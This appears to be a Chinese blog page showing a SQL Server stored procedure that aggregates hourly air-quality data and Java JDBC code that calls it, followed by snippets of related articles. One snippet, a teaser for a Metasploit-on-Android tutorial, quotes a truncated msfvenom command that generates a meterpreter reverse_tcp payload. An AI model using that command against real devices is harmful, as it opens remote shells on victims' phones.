sqlserver存储过程创建和java调用
创建存储过程
CREATE procedure [dbo].[getdata_monitor_city_hour_hb]
@aaa varchar(50),
@test varchar(50) OUT
as
begin SET @test = '失败'; if not exists(select DATETIME FROM monitor_city_hour where city like 'hb%' and DATETIME =(select max(DATETIME) from monitor_site_hour where city like 'hb%'))
begin
insert into monitor_city_hour(DATETIME,so2,no2,pm10,co,o3_1,o3_8,pm25,city)
SELECT DATETIME
,round(avg(cast([so2] as float)),0) so2
,round(avg(cast([no2] as float)),0) no2
,round(avg(cast([pm10] as float)),0) pm10
,round(avg(cast([co] as float)),3) co
,round(avg(cast([o3_1] as float)),0) o3_1
,round(avg(cast([o3_8] as float)),0) o3_8
,round(avg(cast([pm25] as float)),0) pm25
,[city]
FROM monitor_site_hour
where DATETIME=(select max(DATETIME) from monitor_site_hour where city like 'hb%')
and city like 'hb%'
and so2!='—' and no2!='—'and pm10!='—'and co!='—'
and o3_1!='—' and o3_8!='—' and pm25!='—'
group by DATETIME,city;
SET @test ='成功';
end end ;
JAVA调用
Connection conn=JDBCUtilSingle.getInitJDBCUtil().getConnection();
conn.setAutoCommit(true);
PreparedStatement pst = null; //执行存储过程
CallableStatement proc=conn.prepareCall("{call getdata_monitor_city_hour_hb(?,?)}");
proc.setString(1, "aa");
proc.registerOutParameter(2, Types.VARCHAR);
proc.execute();
String testPrint = proc.getString(2);
System.out.println(new Date()+",hebeiDataJob,hb城市小时值,存储过程返回的值是:"+testPrint); // 批量入库完成,数据库连接关闭
JDBCUtilSingle.getInitJDBCUtil().closeConnection(pst, conn);
sqlserver存储过程创建和java调用的更多相关文章
- 存储过程详解与java调用(转)
存储过程的一些基本语法: --------------创建存储过程----------------- CREATE PROC [ EDURE ] procedure_name [ ; number ] ...
- 创建并在项目中调用SQLSERVER存储过程的简单示例
使用SQLSERVER存储过程可以很大的提高程序运行速度,简化编程维护难度,现已得到广泛应用.创建存储过程 和数据表一样,在使用之前需要创建存储过程,它的简明语法是: 引用: Create PROC ...
- java 调用 sql server存储过程
Transact-SQL中的存储过程,非常类似于Java语言中的方法,它可以重复调用.当存储过程执行一次后,可以将语句缓存中,这样下次执行的时候直接使用缓存中的语句.这样就可以提高存储过程的性能. Ø ...
- java调用存储过程
在做java调用sqlserver存储过程时遇到了各种各样的问题,不过在不懈的努力之下这些问题还是得以解决了.今天总结一下遇到的问题以及解决的方法. 首先调用存储过程的方法大家都很清楚: String ...
- Oracle存储过程创建及调用(转)
在大型数据库系统中,有两个很重要作用的功能,那就是存储过程和触发器.在数据库系统中无论是存储过程还是触发器,都是通过SQL 语句和控制流程语句的集合来完成的.相对来说,数据库系统中的触发器也是一种存储 ...
- Java调用MySQL存储过程
Java调用MySQL的存储过程,需要用JDBC连接,环境eclipse 首先查看MySQL中的数据库的存储过程,接着编写代码调用 mysql> show procedure status; + ...
- clob字段的值插入和查询N种方法【包括java调用存储过程传入clob参数】
import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.IOException; import jav ...
- JAVA调用数据库存储过程
下面将举出JAVA对ORACLE数据库存储过程的调用 ConnUtils连接工具类:用来获取连接.释放资源 复制代码 package com.ljq.test; import jav ...
- Java调用oracle存储过程通过游标返回临时表数据
注:本文来源于 < Java调用oracle存储过程通过游标返回临时表数据 > Java调用oracle存储过程通过游标返回临时表数据 项目开发过程中,不可避免的会用到存储过程返回结 ...
随机推荐
- Java的常见术语(PO/POJO/VO/BO/DAO/DTO)
PO(persistant object) 持久对象在o/r 映射的时候出现的概念,如果没有o/r映射,就没有这个概念存在了.通常对应数据模型(数据库),本身还有部分业务逻辑的处理.可以看成是与数据库 ...
- 利用Metasploit攻击Android
首先我在Kali下生成一个Android的应用程序,即apk格式的文件,用到的命令是: msfvenom -p android/meterpreter/reverse_tcp LHOST=本地ip L ...
- python正则表达式(2)--编译正则表达式re.compile
编译正则表达式-- re.compile 使用re的一般步骤是先将正则表达式的字符串形 式编译为pattern实例,然后使用pattern实例处理文本并获取匹配结果(一个Match实例(值为True) ...
- 1062 Error 'Duplicate entry '1438019' for key 'PRIMARY'' on query
mysql主从库同步错误:1062 Error 'Duplicate entry '1438019' for key 'PRIMARY'' on querymysql主从库在同步时会发生1062 La ...
- Spring Boot 中集成 Redis 作为数据缓存
只添加注解:@Cacheable,不配置key时,redis 中默认存的 key 是:users::SimpleKey [](1.redis-cli 中,通过命令:keys * 查看:2.key:缓存 ...
- MySQL 多行数据合并 GROUP_CONCAT
表结构及数据 DROP TABLE IF EXISTS `course`;CREATE TABLE `course` ( `name` varchar(255) CHARACTER SET utf8 ...
- Mobx | 强大的状态管理工具 | 可以用Mobx来替代掉redux
来源简书 电梯直达 https://www.jianshu.com/p/505d9d9fe36a Mobx是一个功能强大,上手非常容易的状态管理工具.就连redux的作者也曾经向大家推荐过它,在不少情 ...
- GPU的主要工作:图像合成、图形操作、光线表达
GPU的主要工作:图像合成.图形操作 gpu不产生图片, 只表达和处理图片.图形:
- 牛客练习赛55 E 树
题目链接: 题意:给出n个点,n-1条边求任意两个点的距离平方的和 解法: f[i]表示这个点的高度 sz[i]表示这个子树的大小 szz[i]表示这个这个子树大小的平方 sum[i]表示这个子树所有 ...
- AsciiDoc 的相关整理
Asciidoc Book Editor based on JavaFX 8 Asciidoc FX is a book / document editor to build PDF, Epub, ...